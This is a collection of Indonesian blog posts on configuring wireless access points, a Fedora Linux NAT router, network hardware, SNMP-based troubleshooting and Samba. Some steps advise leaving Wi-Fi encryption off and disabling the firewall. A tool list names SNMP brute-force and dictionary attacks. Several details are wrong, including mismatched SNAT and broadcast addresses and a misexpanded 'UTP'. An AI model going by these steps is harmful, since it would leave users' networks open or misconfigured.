CAk MAdz's Blog

Setting Edimax

2009-08-08T10:37:00.002+07:00

1. Pastikan Wireless AP Edimax anda sudah menyala dan kabel LANnya terhubung dengan komputer anda.

2. Secara default IP Address dari Edimax adalah 192.168.2.1, jadi anda perlu menyeting IP Address komputer anda, misal 192.168.2.2.

3. Buka browser favorit anda, lalu ketikkan pada address bar http://192.168.2.1/

4. Bila sudah muncul, maka tampilan awal adalah “Status and Information”, yang berisi informasi umum dari Wireless AP Edimax anda.

5. Klik “Basic Setting” untuk menjadikan Wireless AP kita menjadi Access Point, berikut hal-hal yang perlu di setting:

Mode: AP

Band: 2.4 GHz (B+G)

ESSID: isi terserah anda

Channel Number: 11 (pemberian channel number akan dijelaskan pada point 6)

Lalu klik “Apply”, klik “Apply” lagi, tunggu Wireless AP anda akan melakukan restart. Bila sudah selesai, klik “OK”.

Pemberian “Channel Number” sangatlah penting dan tidak boleh asal-asalan. Hal ini akan tampak bila di daerah jangkauan hotspot anda terdapat lebih dari 1 buah access point, maka akan terjadi interferensi.

Berikut caranya:
1.pastikan bahwa channel yang anda gunakan tidak sama dengan AP yang berada disekitar anda. Gunakan NetStumbler untuk melihat channel dan AP yang telah ada.

2.Untuk menghindari terjadinya interferensi, kita harus memberikan channel yang berbeda dari channel yang sudah ada. Contoh:

Channel yang sudah ada: 11

Channel yang kita berikan untuk AP kita: 8

Setting Linksys WAP 54

2009-08-08T10:24:00.005+07:00

Pertama kita hidupkan power dari WAP tersebut
Buka Internet Explorer
Ketik Default Ip-nya : 192.168.1.245, jika ip komputer Anda segmennya belum sama, segeralah rubah ke segmen 1

Setelah ada Jendela confirmasi, Masukkan password default : admin
Setelah masuk ke settingan WAP-nya disitu akan terdapat banyak pilihan
SETUP :
• Network Setup
Device name diisi :
Configuration type :
- pilih Static IP
- masukkan IP Address ( dari ISP/LAN )
- masukkan subnet mask
- masukkan Gateway dari ( dari ISP/LAN )

Setelah itu klik save setting
• AP Mode (Untuk mencari / menangkap sinyal)
Pilih AP client
Lalu klik site survey dan setelah itu pilih sinyal yang anda tuju.
Selalu klik refresh apabila porsentase pointing kurang dari 35%.dan juga jangan lupa atur jarak sudut towernya.
Setelah selesai dan persentase sesuai yang diharapkan maka klik Save.
Untuk mengganti password, maka bisa kita klik administration
Hapus passwordnya dan ganti yang baru.
Klik Save dan apabila disuruh reboot maka tekan reboot.
Biasanya secara otomatis akan keluar dari settingan WAP dan disuruh masuk kembali dengan password yang baru.

Jadi apabila anda akan kembali membuka settingan WAP anda maka bukan IP default lagi yang anda ketikkan di Internet Explorer. Akan tetapi IP yang sudah anda masukkan.
Begitu juga dengan passwordnya.

Selamat Mencoba

Blue - Link

2009-08-08T10:08:00.004+07:00

1. Atur IP PC dengan segment 2 contoh (192.168.2.19/...)
2. Pada Browser http://192.168.2.254/
3. user name = admin
password = admin
4, Pilih setup Wizard
5. Next
6. PIlih Gateway
7. Next
8. Next
9. Masukkan Ip yang keluar/output(yang akan disebarkan) contoh (192.168.20.1)

10. Misal Pilih Static IP
WAN Access Type : Static IP
IP Address : 192.168.10.176 (misal)
Subnet Mask : 255.255.255.0
Default Gateway : 192.168.10.1
DNS : 208.67.222.222

11. Next

12. Band = 2,4 Ghz (B+6)
Mode = AP
Network Type =
SSID = Terserah
Channel Number = Terserah asal tidak boleh sama, misal:13

13. Next

14. Encryption = none

15. Finished

Setting Radio Level One

2009-08-08T09:32:00.004+07:00

Radio adalah suatu alat berbentuk switch/hub namun kegunaannya ialah sebagai hotspot/wireless. Alat ini harus terhubung pada PC yang telah terkoneksi internet untuk menjadi hotspot.

Langkah-langkah menyiapkan Hardware :

1. Koneksikan kabel pada ethernet yang ada pada komputer anda pada Level One
2. Persiapkan kabel yang ada pada Level One untuk dikoneksikan ke komputer anda
3. Pasanglah adaptor ke radio wireless. kemudan hubungkan dengan Stopkontak, tunggu sampai lampu statis menyala
4. Reset radio wireless untuk memudahkan setting IP pada radio

Langkah-langkah setting pada Radio Wireless :

1. Buka browser pada komputer anda
2. Matikan Firewall dan Proxy dan browser anda
3. Tuliskan alamat http://192.168.123.254
4. Anda harus login sebagai administrator, oleh karena itu masukkan password admin pd kotak login tanpa mengisikan nama user alias passwordnya saja
5. Masukkan IP yang sudah ditetapkan oleh router. Disini router mengizinkan IP address harus diatas 200, jadi kita harus menggunakan IP 192.168.10.201 Sedangakan gateway yang digunakan 192.168.10.1
6. Untuk mensetting IP masuk ke Basic Setting kemudian Primary setup
7. Masukkan IP dan IP gateway yang telah ditetapkan pada static IP address setup
8. Setelah IP address dimasukkan, save kemudian reboot lagi settingan Wireless

Fedora Router

2009-05-24T18:12:00.002+07:00

1) [root@cyberkost ~]# nano /etc/sysconfig/network-scripts/ifcfg-eth1
# Realtek Semiconductor Co., Ltd. RTL-8139/8139C/8139C+
DEVICE=eth1
BOOTPROTO=static
HWADDR=00:16:36:1F:4F:B9
ONBOOT=yes
IPADDR=212.95.212.54
NETMASK=255.255.255.248
BROADCAST=212.95.212.56
NETWORK=212.95.212.0
USERCTL=no
-->DEVICE=Merupakan penamaan dari interface Lan Card pada linux router(yang biasanya dikenal dengan eth0,eth1,eth2..dst)
-->BOOTPROTO=static:Merupakan protokol static(IP yang tidak berubah-ubah),selain itu ada option BOOTPROTO=dhcp(IP yang selalu berubah-ubah/dynamic)
-->ONBOOT=Konfigurasi ini akan tetap tersimpan walaupun router direstart
-->HWADDR=00:16:36:1F:4F:B9:Untuk Mac Address dari Lan Card
-->IPADDR,NETMASK,BROADCAST,NETWORK =Informasi IP yang diberikan dari ISP
-->USERCTL=no:User selain user root atau administrator tidak diizinkan untuk merubah isi file ini

2) Edit file network [root@cyberkost ~]# nano /etc/sysconfig/network
NETWORKING=yes
HOSTNAME=cyberkost.my.domain
GATEWAY=212.95.212.254
-->NETWORKING=yes:mengaktifkan sistem jaringan
-->HOSTNAME=cyberkost.my.domain:nama komputer atau host dari router linux kita
-->GATEWAY=212.95.212.254:IP gateway dari ISP

3) Edit file resolv.conf [root@cyberkost ~]# nano /etc/resolv.conf
nameserver 212.95.212.1
nameserver 212.95.212.2
-->Kedua-duanya diisikan dengan IP server DNS dari ISP
*Kemudian restart interface eth1 ini,dengan perintah
[root@cyberkost ~]# /etc/init.d/network restart
Shutting down interface eth1: [ OK ]
Shutting down loopback interface: [ OK ]
Bringing up loopback interface: [ OK ]
Bringing up interface eth1: [ OK ]
* Sampai sini,maka router anda sudah siap melayani koneksi ke internet selama 24 jam

4) Kemudian apabila komputer yang lain ingin terkoneksi internet melalui router ini maka pada router harus ditambahkan 1 Lan Card lagi untuk membagi koneksi internet ke komputer yang lain.Kita asumsikan untuk IP lokal klien 192.168.0.2-192.168.0.254..Maka pada router diisikan IP lokal juga yaitu 192.168.0.1 dengan membuat file ifcfg-eth0 atau klu file tersebut sudah ada maka tinggal ditambahkan saja seperti file berikut:
[root@cyberkost ~]# nano /etc/sysconfig/network-scripts/ifcfg-eth0
# Realtek Semiconductor Co., Ltd. RTL-8139/8139C/8139C+
DEVICE=eth0
BOOTPROTO=static
HWADDR=00:16:36:1F:4F:E1
ONBOOT=yes
IPADDR=192.168.0.1
NETMASK=255.255.255.0
BROADCAST=192.168.0.255
NETWORK=192.168.0.0
USERCTL=no
* Sama seperti isi file eth1 diatas,namun pada bagian IP nya saja yang diganti dengan IP lokal kita

5)Restart interface eth0-nya,dilanjutkan dengan menshare atau berbagi pakai koneksi internet tersebut...

6)Dengan iptables SNAT,maka komputer lain juga dapat bersurfing ria ke internet..
[root@localhost ~]# iptables -t nat -A POSTROUTING -o eth1 -s 192.168.0.0/24 -j SNAT --to-source 212.212.95.54
perintah diatas berarti tambahkan satu aturan yaitu aturan POSTROUTING pada tabel nat,interface eth1 merupakan interface yang berisi IP dari ISP yaitu IP internet.-s option untuk menentukan komputer2 lokal pada jaringan lokal yang
diziinkan bersufing..-j SNAT:merupakan Source Nat yaitu sumber dari IP yang terhubung pada router dari internet..--to-source 212.95.212.154 merupakan sumber IP router yang diberikan dari ISP yang merupakan perwakilan dari IP klient atau
komputer lain untuk koneksi ke internet..Maksudnya IP-IP klien tersebut dibungkus dijadikan satu dan dianggap sebagai IP 212.95.212.54,karena hanya IP 212.95.212.54 saja yang dikenal di internet..

7)Yang terakhir edit file sysctl.conf [root@cyberkost ~]# nano /etc/sysctl.conf,cari pada bagian dibawah ini :
# Controls IP packet forwarding
net.ipv4.ip_forward = 0
Rubah angka 0 tersebut menjadi 1 agar dapat mengaktifkan ip forward yaitu untuk memforward IP lokal ke IP internet router yang dikenal dengan istilah routing dalam dan routing luar.

Sumber : http://cyberkost.com/network/cara-singkat-membuat-linux-fedora-sebagai-router.html

Tool untuk membuat sebuah jaringan

2009-01-02T08:11:00.009+07:00

Jaringan atau Network adalah sebuah kompulan komputer yang saling terhubung satu dengan lainnya dan berkomunikasi untuk saling melakukan perpindahan data dan berbagi informasi. Komputer – komputer ini tidak serta merta terhubung satu dengan yang lainnya tetapi menggunakan peralatan – peralatan tertentu agar dapat terhubung. Berikut ini adalah peralatan – peralatan yang digunakan didalam membangun sebuah jaringan atau network.

1. Kabel UTP

Kabel atau wayar adalah peralatan yang terdiri dari kawat tembaga yang berfungsi untuk mengalirkan listrik. Kabel yang digunakan dalam jaringan tidaklah sembarang kabel. Kabel yang digunakan disebut kabel UTP (UnTwisted Pair). Kabel ini terdiri dari warna – warna tertentu dimana warna – warna ini merepresentasikan hal – hal tertentu didalam penentuan apakah satu komputer dengan komputer lain atau komputer dengan peralatan lain dapat berkomunikasi atau tidak. Ada 3 jenis kabel UTP yang sering dipakai diantaranya adalah 10BASE-T(Ethernet), 100BASE-TX(Fast Ethernet atau disingkat FE) dan 1000BASE-T(Gigabit Ethernet atau disingkat dengan GE). Gambar dari kabel UTP dapat dilihat pada gambar dibawah ini

2. Konektor RJ45

RJ45 merupakan connector tempat dimana kabel – kabel yang ada pada kabel UTP ditempatkan. RJ45 bisa diibaratkan kepala dari kabel jaringan dimana melalui RJ45 inilah kabel dihubungkan ke port jaringan yang ada pada sebuah komputer atau peralatan lainnya. Untuk lebih jelasnya mengenai RJ45 dapat dilihat pada gambar dibawah ini :

3. Crimping

Crimping adalah peralatan yang digunakan untuk memasang konektor RJ45 kedalam kabel sehingga konektor RJ45 terpasang dengan benar. Dalam melakukan pemasangan perlu diperhatikan bahwa setiap kabel yang dimasukkan kedalam RJ45 sudah benar – benar terpasang dengan tepat. Karena apabila RJ45 sudah terpasang dan mengalami kegagalan maka RJ45 tersebut tidak dapat lagi digunakan. Gambar dari Crimping dapat dilihat pada gambar dibawah ini :

4. Router

Router digunakan untuk menghubungkan satu komputer dengan komputer lain atau satu jaringan dengan jaringan lain agar komputer atau jaringan tersebut dapat saling berkomunikasi. Ada 2 keuntungan menggunakan router diantaranya adalah :

1. Router tidak memforward broadcast yang ada. Hal ini adalah default dari router. Namun kita dapat mengubahnya.

2. Router dapat melakukan filter jaringan yang ada pada layer 3 (Network Layer)

4 Fungsi dari Router diantaranya :

1. Packet switching

2. Packet Filtering

3. Internetwork communication

4. Path selection

Ciri – ciri dari router diantaranya adalah :

1. Memiliki broadcast domain yang lebih dari satu

2. Memiliki collision domain yang lebih dari satu.

3. Berada pada layer 3 dalam OSI model dan sering juga disebut sebagai switch layer 3.Memiliki collision domain yang lebih dari satu.

Salah satu gambar dari router dapat dilihat pada gambar dibawah ini :

5. Switch

Switch adalah suatu perangkat keras yang menggabungkan beberapa komputer kedalam sebuah Local Area Network(LAN). Swicth beroperasi pada layer 2 (Data Link Layer) dari model OSI.

Ciri - ciri dari switch adalah sebagai berikut :

1. Switch mampu menjelaskan alamat sumber dan tujuan dari setiap paket yang diterima sehingga switch mampu mengirimkan paket tersebut ke alamat yang tepat.

2. Switch membagi collision domain di tiap portnya. Artinya bahwa tiap port memiliki collision domain sendiri.

3. Pencatatan mac address yang dilakukan secara otomatis berdasarkan hardware maupun software.

Salah satu gambar dari switch dapat dilihat pada gambar dibawah ini :

6. Hub

Hub adalah perangkat keras jaringan yang menggabungkan beberapa komputer kedalam sebuah Local Area Network (LAN). Fungsi hub sebenarnya sama dengan switch, namun yang membedakannya adalah hub berada pada Layer 1 dalam OSI model dan pengiriman data dilakukan ke semua komputer yang terhubung dalam satu LAN. Selain itu hub hanya memiliki 1 collision domain.

Ada 3 type dari hub yaitu diantaranya :

1. Passive Hub

Passive hub tidak menguatkan sinyal elektrik dari paket yang masuk kedalam hub sebelum hub membroadcast paket – paket tersebut keluar.

2. Active Hub

Active Hub adalah kebalikan dari passive hub. Active hub melakukan penguatan sinyal elektrik dari paket yang masuk kedalam hub. Active hub juga disebut juga dengan repeater.

3. Intelligent Hub

Intelligent Hub adalah active hub dengan penambahan fitur diantaranya kemampuan remote management melalui SNMP dan dukungan VLAN (Virtual LAN).

Salah satu gambar dari hub dapat dilihat pada gambar dibawah ini :

7. Bridge

Bridge pada dasarnya hampir sama dengan switch namun yang membedakannya adalah pencatatan mac address pada bridge hanya berdasarkan hardware dan juga port dari bridge juga lebih sedikit dibandingkan dengan switch.

8. Modular Jack

Modular Jack ialah satu soket yang digunakan untuk menyambungkan kabel rangkaian kepada dinding (Wall Face Plate Scheme).

pada modular jack ini, kabel akan disambungkan mengikut warna yang telah ditetapkan. Sambungkan ujung kabel kepada hub/switch.

sumber: http://ronisinaga.wordpress.com/2008/11/19/jenis-%E2%80%93-jenis-peralatan-yang-digunakan-dalam-membangun-sebuah-jaringan/

Trouble Shooting Jaringan

2008-12-24T11:50:00.001+07:00

Tanpa kemampuan untuk memonitor jaringan, administrator hanya dapat bereaksi terhadap masalah pada waktu mereka muncul, bukannya lebih dulu mencegah masalah supaya tidak terjadi.

Menjalankan dan memelihara fungsi suatu jaringan bisa menjadi mimpi buruk jika Anda tidak mengetahui mana yang bekerja dengan baik dan mana yang tidak. Terutama jika jaringan tersebar lebih dari ratusan kilometer persegi, di mana beberapa perangkat hampir tidak mungkin diakses, misalnya stasiun cuaca dan webcam.

Monitoring Koneksi
Salah satu bentuk paling mendasar dari monitoring koneksi berlangsung tiap hari pada jaringan. Proses user login ke jaringan akan memastikan bahwa koneksi itu sedang bekerja dengan baik atau jika tidak bagian jaringan akan segera dihubungi. Namun, ini bukanlah cara yang paling baik atau efisien dalam memonitoring jaringan yang ada. Tersedia program-program sederhana yang bisa digunakan oleh administrator untuk membuat daftar alamat IP host dan secara periodik mem-ping alamat tersebut. Jika ada masalah koneksi, program akan memperingati administrator melalui output ping. Ini merupakan cara yang paling kuno dan tidak efisien, tetapi masih lebih baik dibanding tidak melakukan apa-apa sama sekali. Aspek lain dari cara monitoring seperti ini adalah ia hanya memberitahu bahwa di suatu tempat antara stasiun monitoring dan perangkat target ada gangguan komunikasi. Gangguan bisa jadi router, switch, bagian jaringan yang tidak baik, atau memang host-nya yang sedang down. Tes ping hanya mengatakan bahwa
koneksi down, tidak di mana itu down.

Memeriksa semua host pada WAN dengan menggunakan monitoring semacam ini membutuhkan banyak resources. Jika jaringan mempunyai 3000 host, mem-ping semua perangkat jaringan dan host memakan resource sistem yang sangat besar. Cara lebih baik adalah hanya mem-ping beberapa host, server, router, dan switch yang penting untuk memastikan konektivitas mereka. Tes ping tidak akan memberikan data yang sebenarnya kecuali jika workstation selalu dalam keadaan menyala. Sekali lagi, cara monitoring seperti ini sebaiknya digunakan jika tidak ada lagi cara lain yang tersedia.

Monitoring Traffic
Monitoring traffic merupakan cara monitoring jaringan yang jauh lebih canggih. Ia melihat traffic paket yang sebenarnya dan membuat laporan berdasarkan traffic jaringan tersebut. Program seperti Flukes Network Analyzer merupakan contoh software jenis ini. Program tersebut tidak hanya mendeteksi perangkat yang gagal, tetapi juga mendeteksi jika ada komponen yang muatannya berlebihan atau konfigurasinya kurang baik.

Kelemahan program jenis ini adalah mereka biasanya hanya melihat satu segmen pada satu waktu dan jika memerlukan data dari segmen lain, program harus dipindahkan ke segmen tersebut. Ini bisa diatasi dengan menggunakan agent pada segmen jaringan remote. Perangkat seperti switch dan router bisa membuat dan mengirimkan statistik traffic. Jadi, bagaimana data dikumpulkan dan diatur pada satu lokasi sentral supaya bisa digunakan oleh administrator jaringan? Jawabannya adalah: Simple Network Monitoring Protocol.

Simple Network Management Protocol
Simple Network Management Protocol (SNMP) adalah standar manajemen jaringan pada TCP/IP. Gagasan di balik SNMP adalah bagaimana supaya informasi yang dibutuhkan untuk manajemen jaringan bisa dikirim menggunakan TCP/IP. Protokol tersebut memungkinkan administrator jaringan untuk menggunakan perangkat jaringan khusus yang berhubungan dengan perangkat jaringan yang lain untuk mengumpulkan informasi dari mereka, dan mengatur bagaimana mereka beroperasi.

Ada dua jenis perangkat SNMP. Pertama adalah Managed Nodes yang merupakan node biasa pada jaringan yang telah dilengkapi dengan software supaya mereka dapat diatur menggunakan SNMP. Mereka biasanya adalah perangkat TCP/IP biasa; mereka juga kadang-kadang disebut managed devices. Kedua adalah Network Management Station (NMS) yang merupakan perangkat jaringan khusus yang menjalankan software tertentu supaya dapat mengatur managed nodes. Pada jaringan harus ada satu atau lebih NMS karena mereka adalah perangkat yang sebenarnya “menjalankan” SNMP.

Managed nodes bisa berupa perangkat jaringan apa saja yang dapat berkomunikasi menggunakan TCP/IP, sepanjang diprogram dengan software SNMP. SNMP didesain supaya host biasa dapat diatur, demikian juga dengan perangkat pintar seperti router, bridge, hubs, dan switch. Perangkat yang “tidak konvensional” juga bisa diatur sepanjang
mereka terhubung ke jaringan TCP/IP: printer, scanner, dan lain-lain.

Masing-masing perangkat dalam manajemen jaringan yang menggunakan SNMP menjalankan suatu software yang umumnya disebut SNMP entity. SNMP entity bertanggung jawab untuk mengimplementasikan semua beragam fungsi SNMP. Masing-masing entity terdiri dari dua komponen utama. Komponen SNMP entity pada suatu perangkat bergantung kepada apakah perangkat tersebut managed nodes atau network management station.

SNMP entity pada managed nodes terdiri atas SNMP Agent: yang merupakan program yang mengimplementasikan protokol SNMP dan memungkinkan managed nodes memberikan informasi kepada NMS dan menerima perintah darinya, dan SNMP Management Information Base (MIB): yang menentukan jenis informasi yang disimpan tentang node yang dapat dikumpulkan dan digunakan untuk mengontrol managed nodes. Informasi yang dikirim menggunakan SNMP merupakan objek dari MIB.

Pada jaringan yang lebih besar, NMS bisa saja terpisah dan merupakan komputer TCP/IP bertenaga besar yang didedikasikan untuk manajemen jaringan. Namun, adalah software yang sebenarnya membuat suatu perangkat menjadi NMS, sehingga suatu NMS bisa bukan hardware terpisah. Ia bisa berfungsi sebagai NMS dan juga melakukan fungsi lain. SNMP entity pada NMS terdiri dari SNMP Manager: yang merupakan program yang mengimplementasikan SNMP sehingga NMS dapat mengumpulkan informasi dari managed nodes dan mengirim perintah kepada mereka, dan SNMP Application: yang merupakan satu atau lebih aplikasi yang memungkinkan administrator jaringan untuk menggunakan SNMP dalam mengatur jaringan.

Dengan demikian, secara keseluruhan SNMP terdiri dari sejumlah NMS yang berhubungan dengan perangkat TCP/IP biasa yang disebut managed nodes. SNMP manager pada NMS dan SNMP agent pada managed nodes mengimplementasikan SNMP dan memungkinkan informasi manajemen jaringan dikirim. SNMP application berjalan pada NMS dan menyediakan interface untuk administrator, dan memungkinkan informasi dikumpulkan dari MIB pada masing-masing SNMP agent.

Remote Monitoring (RMON)
Model umum yang digunakan SNMP adalah adanya network management station (NMS) yang mengirim request kepada SNMP agent. SNMP Agent juga bisa melakukan komunikasi dengan mengirim pesan trap untuk memberitahu management station ketika terjadi suatu event tertentu. Model ini bekerja dengan baik, yang mana inilah mengapa SNMP menjadi sangat populer. Namun, satu masalah mendasar dari protokol dan model yang digunakan adalah bahwa ia diorientasikan pada komunikasi dari SNMP agent yang biasanya perangkat TCP/IP seperti host dan router. Jumlah informasi yang dikumpulkan oleh perangkat ini biasanya terbatas, karena sudah pasti host dan router mempunyai “tugas sebenarnya yang harus dilakukan”—yaitu melakukan tugas sebagai host dan router. Mereka tidak bisa mendedikasikan diri mereka untuk melakukan tugas manajemen jaringan.

Oleh karena itu, pada situasi di mana dibutuhkan informasi jaringan yang lebih banyak dibanding yang dikumpulkan oleh perangkat biasa, administrator sering kali menggunakan hardware khusus bernama network analyzer, monitor, atau probe. Mereka hanya mengumpulkan statistik dan memantau event yang diinginkan oleh administrator. Jelas akan sangat berguna jika perangkat tersebut dapat menggunakan SNMP supaya informasi yang mereka kumpulkan bisa diterima, dan membiarkan mereka mengeluarkan pesan trap ketika ada sesuatu yang penting.

Untuk melakukan itu, dibuatlah Remote Network Monitoring (RMON). RMON sering kali disebut sebagai protokol, dan Anda kadang-kadang akan melihat SNMP dan RMON disebut sebagai “protokol manajemen jaringan TCP/IP”. Namun, RMON sama sekali bukan protocol yang terpisah—ia tidak melakukan operasional protokol. RMON sebenarnya adalah bagian dari SNMP, dan RMON hanya suatu modul management information base (MIB) yang menentukan objek MIB yang digunakan oleh probe. Secara arsitektur, RMON hanyalah salah satu modul MIB yang menjadi bagian dari SNMP.

Metode Troubleshooting
Troubleshooting jaringan merupakan proses sistematis yang diaplikasikan untuk memecahkan masalah pada jaringan. Teknik Eliminasi dan Divide and Conquer merupakan metode paling berhasil untuk troubleshooting jaringan.

Eliminasi
User pada jaringan Anda menelepon help desk untuk memberitahukan bahwa komputer mereka tidak bisa lagi ke Internet. Help desk mengisi form error report dan memberikannya kepada Anda, bagian network support. Anda menelepon dan berbicara kepada user dan mereka mengatakan bahwa mereka tidak melakukan apapun yang berbeda selain yang selalu mereka lakukan untuk ke Internet. Anda mengecek log dan menemukan bahwa komputer user telah di-upgrade semalam. Solusi Anda yang pertama adalah bahwa driver jaringan komputer tersebut pasti konfigurasinya salah. Anda pergi ke komputer tersebut dan mengecek konfigurasi jaringannya. Tampaknya sudah benar, sehingga Anda mem-ping server. Tidak terhubung. Solusi berikutnya adalah mengecek apakah kabel komputer tersambung. Anda periksa kedua ujung kabel dan kemudian mencoba mem-ping server kembali.

Selanjutnya Anda ping 127.0.0.1, alamat loopback komputer. Ping berhasil, sehingga ini mengeliminasi kemungkinan adanya masalah antara komputer, konfigurasi driver, dan kartu NIC. Anda kemudian memutuskan bahwa mungkin ada masalah dengan server untuk segmen jaringan tersebut. Ada komputer lain yang terhubung ke jaringan di meja sebelahnya, maka Anda mem-ping alamat server dan hasilnya sukses. Ini mengeliminasi server, backbone, dan koneksi server ke backbone sebagai masalah.

Anda kemudian pergi ke IDF (intermediate distribution facilities) dan memindahkan port workstation, kembali ke workstation dan mencoba mem-ping server lagi. Namun, solusi tidak bekerja. Ini memperluas pencarian Anda sampai pemasangan kabel atau patch kabel
workstation. Anda kembali ke IDF, mengembalikan kabel ke port asal, mencari patch kabel worksation baru dan kembali ke worksation. Ganti kabel workstation, dan mencoba mem-ping server lagi. Kali ini berhasil, maka Anda sudah memperbaiki masalah itu. Langkah terakhir adalah mendokumentasikan solusi masalah.

Divide and Conquer
Misalkan Anda mempunyai dua jaringan yang bekerja dengan baik, tetapi ketika keduanya dihubungkan jaringan gagal. Langkah pertama adalah membagi jaringan kembali menjadi dua jarigan terpisah dan memverifikasi bahwa keduanya masih beroperasi dengan benar ketika dipisahkan. Jika ya, pindahkan semua segmen ke jaringan yang lain. Periksa apakah masih bekerja dengan benar.

Jika jaringan masih berfungsi, masukkan masing-masing segmen sampai seluruh jaringan gagal. Hilangkan koneksi terakhir yang ditambahkan dan lihat apakah seluruh jaringan kembali beroperasi normal. Jika ya, lepaskan semua perangkat dari segmen tersebut dan masukkan mereka satu per satu, kemudian periksa lagi kapan jaringan gagal. Pada waktu Anda menemukan perangkat yang mencurigakan, lepaskan dan periksa apakah jaringan kembali normal. Jika jaringan masih berfungsi normal, berarti Anda telah menemukan perangkat yang menjadi penyebab masalah.

Sekarang Anda bisa menganalisis perangkat tersebut untuk mengetahui mengapa ia bisa menyebabkan seluruh jaringan crash. Jika tidak ada apapun yang salah, mungkin saja perangkat tersebut terhubung dengan perangkat yang bermasalah pada jaringan sebelah. Untuk mencari ujung lain permasalahan, Anda harus mengulangi proses yang dilakukan sebelumnya.

Prosesnya adalah sebagai berikut: pertama sambungkan lagi perangkat yang menyebabkan jaringan gagal. Kemudian lepaskan semua segmen pada jaringan yang satunya. Periksa apakah jaringan kembali beroperasi. Jika jaringan berfungsi lagi, masukkan kembali segmen sampai seluruh jaringan gagal. Lepaskan segmen terakhir yang dimasukkan sebelum kegagalan dan lihat apakah seluruh jaringan kembali beroperasi normal. Jika ya, lepaskan semua perangkat dari segmen tersebut dan masukkan mereka satu per satu, periksa lagi untuk melihat kapan jaringan gagal. Ketika Anda menemukan perangkat yang mencurigakan, lepas dan periksa apakah jaringan kembali normal.

Jika jaringan masih berfungsi secara normal, itu berarti Anda telah menemukan perangkat penyebab masalah. Sekarang Anda bisa menganalisis perangkat tersebut untuk mengetahui mengapa ia bisa menyebabkan seluruh jaringan crash. Jika tidak ada apapun yang salah, bandingkan kedua host cari tahu penyebab mereka konflik. Dengan memecahkan konflik ini, Anda akan bisa menghubungkan kembali kedua perangkat ke dalam jaringan dan akan berfungsi secara normal.

Tool Software
Bersama dengan proses yang diuraikan sebelumnya, ada tool software bagi administrator jaringan yang dapat digunakan untuk mengatasi masalah konektivitas jaringan. Tool ini dapat membantu dalam troubleshooting Local Area Network, tetapi terutama pada Wide Area Network. Kita akan lihat perintah yang tersedia pada sebagian besar software client. Perintah ini meliputi Ping, Tracert (traceroute), Telnet, Netstat, ARP, dan Ipconfig (WinIPcfg)

Ping
Memverifikasi koneksi ke komputer lain dengan mengirim pesan Internet Control Message Protocol (ICMP) Echo Request. Tanda terima berupa pesan Echo Reply akan ditampilkan, bersama dengan waktu pulang-pergi. Ping merupakan perintah utama TCP/IP yang digunakan untuk men-troubleshoot konektivitas, jangkauan, dan resolusi nama. Syntax ping adalah: ping [-t] [-a] [-n Count] [-l Size] [-f] [-i TTL] [-v TOS] [-r Count] [-s Count] [{-j HostList | -k HostList}] [-wTimeout] [TargetName].

Tracert (Traceroute)
Menunjukkan rute yang dilewati paket untuk mencapai tujuannya. Ini dilakukan dengan mengirim pesan Internet Control Message Protocol (ICMP) Echo Request ke tujuan dengan nilai Time to Live yang semakin meningkat. Rute yang ditampilkan adalah daftar interface router (yang paling dekat dengan host) yang terdapat pada jalur antara host dan
tujuan. Syntax tracert adalah: tracert [-d] [-h MaximumHops] [-j HostList] [-wTimeout] [TargetName].

Telnet
Telnet Client dan Telnet Server bekerja sama supaya user dapat berkomunikasi dengan komputer remote. Telnet Client memungkinkan user untuk menghubungi komputer remote dan berinteraksi dengan komputer tersebut melalui jendela terminal. Telnet Server memungkinkan user Telnet Client untuk masuk ke dalam komputer yang menjalankan Telnet Server dan menjalankan aplikasi pada komputer tersebut. Telnet Server berfungsi sebagai gateway yang digunakan Telnet client untuk berkomunikasi. Telnet cocok untuk testing login ke remote host. Syntax telnet adalah: telnet [\\RemoteServer].

Netstat
Menampilkan koneksi TCP yang aktif, port yang didengarkan komputer, statistik Ethernet, tabel routing IP, statistik IPv4 (protokol IP, ICMP, TCP, dan UDP), dan statistik IPv6 (protokol IPv6, ICMPv6, TCP over IPv6, dan UDP over IPv6). Syntax netstat adalah: netstat [-a] [-e] [-n] [-o] [-p Protocol] [-r] [-s] [Interval].

ARP
Menampilkan dan mengubah entri pada cache Address Resolution Protocol (ARP), yang berisi satu atau beberapa tabel yang digunakan untuk menyimpan alamat IP dan alamat fisik Ethernet dan Token Ring dari alamat IP yang bersangkutan. Masing-masing kartu jaringan Ethernet atau Token Ring yang terinstalasi pada komputer Anda mempunyai tabel terpisah. Syntax arp adalah: arp [-a [InetAddr] [-NIfaceAddr]] [-g [InetAddr] [-N
IfaceAddr]] [-d InetAddr [IfaceAddr]] [-s InetAddr EtherAddr [IfaceAddr]].

Ipconfig(Winipcfg)
Menampilkan semua konfigurasi jaringan TCP/IP dan memperbarui setting Dynamic Host Configuration Protocol (DHCP) dan Domain Name System (DNS). Digunakan tanpa parameter, ipconfig menampilkan alamat IP, subnet mask, dan gateway default untuk semua kartu jaringan. Ipconfig merupakan commandline yang ekivalen dengan winipcfg yang terdapat pada Windows MilleniumEdition, Windows 98, dan Windows 95. Meskipun Windows XP tidak menyertakan utiliti grafis yang ekivalen dengan winipcfg, Anda bisa menggunakan Network Connections untuk melihat dan memperbarui alamat IP. Syntax ipconfig adalah: ipconfig [/all] [/renew[Adapter]] [/release [Adapter]] [/flushdns] [/displaydns] [/registerdns] [/showclassid Adapter] [/setclassid Adapter [ClassID]].

TOOL SNMP
Banyak tool manajemen jaringan yang menggunakan SNMP untuk mengumpulkan informasi dan statistik jaringan. Beberapa di antaranya adalah:

· SNMP Graph—Mengumpulkan data dan membuat grafik secara real-time.

· SNMP Sweep—Melakukan pencarian SNMP dalam waktu singkat pada setiap segmen jaringan.

· IP Network Browser—Melakukan pencarian yang komprehensif terhadap berbagai data jaringan.

· SNMP Brute Force Attack—Menyerang suatu alamat IP dengan query SNMP untuk mencoba dan mengetahui community string read-only dan read-write.

· SNMP Dictionary Attack—Menggunakan kamus para hacker untuk menyerang perangkat jaringan.

· Network Sonar—Melakukan pencarian jaringan dan menyimpan hasilnya dalam
database.

TIP

Troubleshooting Jaringan
1. Identifikasi masalah jaringan/user.
2. Kumpulkan data tentang masalah jaringan/user.
3. Analisis data untuk mencari solusi masalah.
4. Impementasi solusi untuk memperbaiki sistem.
5. Jika masalah tidak terselesaikan, batalkan perubahan dan modifikasi data yang dilakukan sebelumnya.
6. Kembali ke langkah 3

Installasi Samba Server

2008-12-24T11:43:00.001+07:00

Instalasi samba dilakukan dengan cara:
# rpm -Uvh samba-2.0.6-9.i386.rpm samba-client-2.0.6-9.i386.rpm samba-common-2.0.6-9.i386.rpm --force --nodeps

Mengeset samba server:

Editlah file smb.conf yang terletak di /etc/smb.conf

